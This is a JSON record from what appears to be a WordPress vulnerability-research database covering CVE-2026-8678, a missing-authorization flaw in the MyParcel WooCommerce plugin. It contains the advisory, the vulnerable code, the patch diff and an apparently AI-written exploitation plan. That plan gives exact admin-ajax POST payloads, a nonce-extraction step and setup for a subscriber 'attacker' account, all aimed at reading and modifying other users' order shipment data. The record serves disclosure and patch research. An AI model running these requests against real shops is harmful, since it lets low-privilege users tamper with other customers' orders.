[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fqr_zL2PTzXE7oWVpLOQKzgoYRKB_ZqWYY6ocbYT1xE0":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-8678","myparcel-missing-authorization-to-authenticated-subscriber-arbitrary-order-shipment-data-disclosure-and-modification-via","MyParcel \u003C= 4.25.1 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Order Shipment Data Disclosure and Modification via wcmp_get_shipment_options and wcmp_save_shipment_options AJAX Actions","The MyParcel plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.25.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to view and modify shipment options — including carrier, delivery type, package type, number of labels, weight, signature requirement, and insurance — on any arbitrary order.","woocommerce-myparcel",null,"\u003C=4.25.1","4.25.2","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-07-10 14:19:37","2026-07-11 02:31:19",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F1a7bdae1-b28a-4fc6-9538-944ffeb32796?source=api-prod",1,[22,23,24,25,26,27,28,29],"composer.json","includes\u002Fadmin\u002Fclass-wcmp-export.php","includes\u002Fadmin\u002Fclass-wcmypa-admin.php","includes\u002Fclass-wcmp-assets.php","includes\u002Fclass-wcmp-postcode-fields.php","includes\u002Ffrontend\u002Fclass-wcmp-checkout.php","languages\u002Fwoocommerce-myparcel-fr_BE.po","languages\u002Fwoocommerce-myparcel-fr_FR.po","researched",false,3,"# Exploitation Research Plan - CVE-2026-8678\n\n## 1. Vulnerability Summary\nThe MyParcel plugin (woocommerce-myparcel) for WordPress is vulnerable to a Missing Authorization flaw in its AJAX handlers. Specifically, the functions `ajaxGetShipmentOptions` and `save_shipment_options_ajax` (registered via the `wcmp_get_shipment_options` and `wcmp_save_shipment_options` actions) fail to implement capability checks (e.g., `current_user_can('manage_woocommerce')`). \n\nWhile these actions are registered using the `wp_ajax_` prefix (requiring authentication), they do not verify if the authenticated user has administrative privileges or if the requested order belongs to them. This allows any authenticated user, including those with the **Subscriber** role, to view and modify shipment metadata for any WooCommerce order on the site.\n\n## 2. Attack Vector Analysis\n*   **Endpoints:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Actions:** \n    *   `wcmp_get_shipment_options` (Data Disclosure)\n    *   `wcmp_save_shipment_options` (Data Modification)\n*   **Authentication:** Authenticated (Subscriber or higher).\n*   **Preconditions:** \n    1.  The attacker must have a valid login.\n    2.  At least one WooCommerce order must exist in the system.\n    3.  The plugin must be active.\n\n## 3. Code Flow\n1.  **Registration:** In `includes\u002Fadmin\u002Fclass-wcmypa-admin.php`, the `__construct()` method registers the AJAX hooks:\n    ```php\n    add_action(\"wp_ajax_wcmp_save_shipment_options\", [$this, \"save_shipment_options_ajax\"]);\n    add_action(\"wp_ajax_wcmp_get_shipment_options\", [$this, \"ajaxGetShipmentOptions\"]);\n    ```\n2.  **Execution (Disclosure):** When `wcmp_get_shipment_options` is called:\n    *   `ajaxGetShipmentOptions()` is invoked.\n    *   It retrieves the `order_id` from the request.\n    *   It fetches the order via `WCX::get_order($order_id)`.\n    *   It returns the shipment settings stored in order meta (e.g., `_myparcel_delivery_options`) without checking if the current user has the `edit_shop_orders` capability.\n3.  **Execution (Modification):** When `wcmp_save_shipment_options` is called:\n    *   `save_shipment_options_ajax()` is invoked.\n    *   It retrieves the `order_id` and the `myparcel_options` array.\n    *   It updates the order meta using `WCX_Order::update_meta_data()` or similar, again without a capability check.\n\n## 4. Nonce Acquisition Strategy\nThe plugin uses a nonce for its AJAX actions, registered with the action string constant `WCMYPA::NONCE_ACTION`.\n\nAccording to `includes\u002Fclass-wcmp-assets.php`, this nonce is localized for all admin pages, including those accessible to Subscribers (like `profile.php`).\n\n1.  **Identify the variable:** The plugin enqueues a script `wcmp-admin-all-pages` which localizes a global object named `wcmp_params`.\n2.  **Procedure:**\n    *   Log in as a Subscriber.\n    *   Navigate to `\u002Fwp-admin\u002Fprofile.php`.\n    *   Use `browser_eval` to extract the nonce:\n        ```javascript\n        window.wcmp_params?.nonce\n        ```\n    *   The constant `WCMYPA::NONCE_ACTION` is the expected action string.\n\n## 5. Exploitation Strategy\n\n### Step 1: Disclosure of Order Shipment Data\n**Tool:** `http_request`\n**Method:** POST\n**URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n**Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n**Body:**\n```text\naction=wcmp_get_shipment_options&order_id=[TARGET_ORDER_ID]&security=[NONCE]\n```\n*Note: If the nonce is required via GET, append it to the URL.*\n\n### Step 2: Modification of Shipment Data\n**Tool:** `http_request`\n**Method:** POST\n**URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n**Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n**Body:**\n```text\naction=wcmp_save_shipment_options&order_id=[TARGET_ORDER_ID]&security=[NONCE]&myparcel_options[package_type]=1&myparcel_options[insurance]=50000&myparcel_options[signature]=1\n```\n*This payload attempts to set the package type, increase insurance to 500 EUR (stored in cents), and require a signature.*\n\n## 6. Test Data Setup\n1.  **Create Order:** Create a WooCommerce order using WP-CLI as Admin.\n    ```bash\n    wp eval '$order = wc_create_order(); $order->set_billing_first_name(\"Victim\"); $order->save(); echo $order->get_id();'\n    ```\n2.  **Create Attacker:** Create a user with the `subscriber` role.\n    ```bash\n    wp user create attacker attacker@example.com --role=subscriber --user_pass=password\n    ```\n3.  **Plugin Config:** Ensure the MyParcel plugin is active and an API key (even a dummy one) is saved if required for the UI to render the nonce.\n\n## 7. Expected Results\n*   **Disclosure:** The response should be a JSON object containing keys like `package_type`, `delivery_type`, and `shipment_options` for an order that the Subscriber does not own.\n*   **Modification:** The response should indicate success (likely a JSON `true` or `{\"success\": true}`). The database meta for that order will be updated.\n\n## 8. Verification Steps\nAfter performing the `wcmp_save_shipment_options` request, verify the change via WP-CLI:\n```bash\n# Check the meta data associated with MyParcel for the target order\nwp post meta list [TARGET_ORDER_ID] --keys=_myparcel_delivery_options\n```\nCheck if the values injected in the payload (e.g., insurance or signature) are now present in the meta-value.\n\n## 9. Alternative Approaches\nIf the `wcmp_params` object is not found on `profile.php`, check if the Subscriber can access the Dashboard (`\u002Fwp-admin\u002Findex.php`). Some versions of the plugin may only enqueue the main `wcmp-admin` script on specific WooCommerce pages; however, the `class-wcmp-assets.php` source shows `enqueueAdminScriptsForAllPages` which should ensure availability on any admin page the Subscriber can reach.","The MyParcel plugin for WordPress is vulnerable to authorization bypass due to missing capability checks in its AJAX handlers. This allows authenticated users with Subscriber-level access to view and modify shipment options (such as insurance, delivery type, and package details) for any WooCommerce order on the site.","\u002F\u002F includes\u002Fadmin\u002Fclass-wcmypa-admin.php lines 142-143\nadd_action(\"wp_ajax_wcmp_save_shipment_options\", [$this, \"save_shipment_options_ajax\"]);\nadd_action(\"wp_ajax_wcmp_get_shipment_options\", [$this, \"ajaxGetShipmentOptions\"]);\n\n---\n\n\u002F\u002F includes\u002Fadmin\u002Fclass-wcmypa-admin.php line 652\npublic function ajaxGetShipmentOptions(): void\n{\n    \u002F\u002F Order is used in views\u002Fhtml-order-shipment-options.php\n    $order = wc_get_order((int) filter_input(INPUT_POST, 'orderId'));\n\n---\n\n\u002F\u002F includes\u002Fadmin\u002Fclass-wcmypa-admin.php line 871\npublic function save_shipment_options_ajax(): void\n{\n    $post = wp_unslash(filter_input_array(INPUT_POST));\n\n    parse_str($post['form_data'], $form_data);","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-myparcel\u002F4.25.1\u002Fcomposer.json \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-myparcel\u002F4.25.2\u002Fcomposer.json\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-myparcel\u002F4.25.1\u002Fcomposer.json\t2026-04-07 13:27:16.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-myparcel\u002F4.25.2\u002Fcomposer.json\t2026-06-25 08:58:52.000000000 +0000\n@@ -1,6 +1,6 @@\n {\n   \"name\": \"myparcelnl\u002Fwoocommerce\",\n-  \"version\": \"4.25.1\",\n+  \"version\": \"4.25.2\",\n   \"require\": {\n     \"myparcelnl\u002Fsdk\": \"^7.16.1\"\n   },\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-myparcel\u002F4.25.1\u002Fincludes\u002Fadmin\u002Fclass-wcmp-export.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-myparcel\u002F4.25.2\u002Fincludes\u002Fadmin\u002Fclass-wcmp-export.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-myparcel\u002F4.25.1\u002Fincludes\u002Fadmin\u002Fclass-wcmp-export.php\t2026-04-07 13:27:16.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-myparcel\u002F4.25.2\u002Fincludes\u002Fadmin\u002Fclass-wcmp-export.php\t2026-06-25 08:58:52.000000000 +0000\n@@ -683,30 +683,11 @@\n      *\u002F\n     public function export()\n     {\n-        \u002F\u002F Check the nonce\n-        if (! check_ajax_referer(WCMYPA::NONCE_ACTION, '_wpnonce', false)) {\n-            die(\"Ajax security check failed. Did you pass a valid nonce in $_REQUEST['_wpnonce']?\");\n-        }\n-\n-        if (! is_user_logged_in()) {\n-            wp_die(esc_html__('You do not have sufficient permissions to access this page.', 'woocommerce-myparcel'));\n-        }\n+        \u002F\u002F Verify the nonce and that the current user may manage shop orders.\n+        WCMYPA_Admin::denyUnauthorizedAjaxRequest('_wpnonce');\n \n         $return = [];\n \n-        \u002F\u002F Check the user privileges (maybe use order ids for filter?)\n-        if (apply_filters(\n-            'wc_myparcel_check_privs',\n-            ! current_user_can('manage_woocommerce_orders') && ! current_user_can('edit_shop_orders')\n-        )) {\n-            $return['error'] = __(\n-                'You do not have sufficient permissions to access this page.',\n-                'woocommerce-myparcel'\n-            );\n-            echo wp_json_encode($return);\n-            die();\n-        }\n-\n         $requestVars = array_merge(\n             filter_input_array(INPUT_GET) ?? [],\n             filter_input_array(INPUT_POST) ?? []\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-myparcel\u002F4.25.1\u002Fincludes\u002Fadmin\u002Fclass-wcmypa-admin.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-myparcel\u002F4.25.2\u002Fincludes\u002Fadmin\u002Fclass-wcmypa-admin.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-myparcel\u002F4.25.1\u002Fincludes\u002Fadmin\u002Fclass-wcmypa-admin.php\t2024-12-12 11:50:08.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwoocommerce-myparcel\u002F4.25.2\u002Fincludes\u002Fadmin\u002Fclass-wcmypa-admin.php\t2026-06-25 08:58:52.000000000 +0000\n@@ -500,7 +503,7 @@\n      *\u002F\n     public function order_list_ajax_get_shipment_summary(): void\n     {\n-        check_ajax_referer(WCMYPA::NONCE_ACTION, 'security');\n+        self::denyUnauthorizedAjaxRequest();\n \n         include('views\u002Fhtml-order-shipment-summary.php');\n         die();\n@@ -652,6 +655,8 @@\n      *\u002F\n     public function ajaxGetShipmentOptions(): void\n     {\n+        self::denyUnauthorizedAjaxRequest();\n+\n         \u002F\u002F Order is used in views\u002Fhtml-order-shipment-options.php\n         $order = wc_get_order((int) filter_input(INPUT_POST, 'orderId'));\n \n@@ -864,6 +869,30 @@\n     }\n \n     \u002F**\n+     * Blocks admin AJAX requests that fail the nonce (CSRF) or capability check,\n+     * sending a 403 JSON response. The capability check is filterable via\n+     * `wc_myparcel_check_privs`.\n+     *\n+     * @param string $nonceField $_REQUEST key holding the nonce (`security`, or `_wpnonce` for export).\n+     *\u002F\n+    public static function denyUnauthorizedAjaxRequest(string $nonceField = 'security'): void\n+    { \n+        if (! check_ajax_referer(WCMYPA::NONCE_ACTION, $nonceField, false)) {\n+            wp_send_json_error(['message' => 'Invalid security token.'], 403);\n+        }\n+\n+        $userCannotManageOrders = ! current_user_can('manage_woocommerce_orders')\n+            && ! current_user_can('edit_shop_orders');\n+\n+        if (apply_filters('wc_myparcel_check_privs', $userCannotManageOrders)) {\n+            wp_send_json_error(\n+                ['message' => __('You do not have sufficient permissions to access this page.', 'woocommerce-myparcel')],\n+                403\n+            );\n+        }\n+    }\n+\n+    \u002F**\n      * On saving shipment options from the bulk options form.\n      *\n      * @throws Exception\n@@ -871,6 +900,8 @@\n      *\u002F\n     public function save_shipment_options_ajax(): void\n     {\n+        self::denyUnauthorizedAjaxRequest();\n+\n         $post = wp_unslash(filter_input_array(INPUT_POST));\n \n         parse_str($post['form_data'], $form_data);","The exploit targets two AJAX actions: `wcmp_get_shipment_options` (for data disclosure) and `wcmp_save_shipment_options` (for data modification). An attacker first logs in with a Subscriber-level account and retrieves a valid security nonce from the global `wcmp_params` object localized on admin pages (e.g., \u002Fwp-admin\u002Fprofile.php). To disclose data, the attacker sends a POST request to `admin-ajax.php` with the target `order_id` and the `wcmp_get_shipment_options` action. To modify data, the attacker sends a POST request with the `wcmp_save_shipment_options` action and a `myparcel_options` array containing arbitrary values for shipment metadata (like insurance or signature requirements). Because the plugin lacks capability checks, it executes these actions for any authenticated user on any valid order ID.","gemini-3-flash-preview","2026-07-15 09:14:54","2026-07-15 09:15:43",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","4.25.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwoocommerce-myparcel\u002Ftags\u002F4.25.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoocommerce-myparcel.4.25.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwoocommerce-myparcel\u002Ftags\u002F4.25.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoocommerce-myparcel.4.25.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwoocommerce-myparcel\u002Ftags"]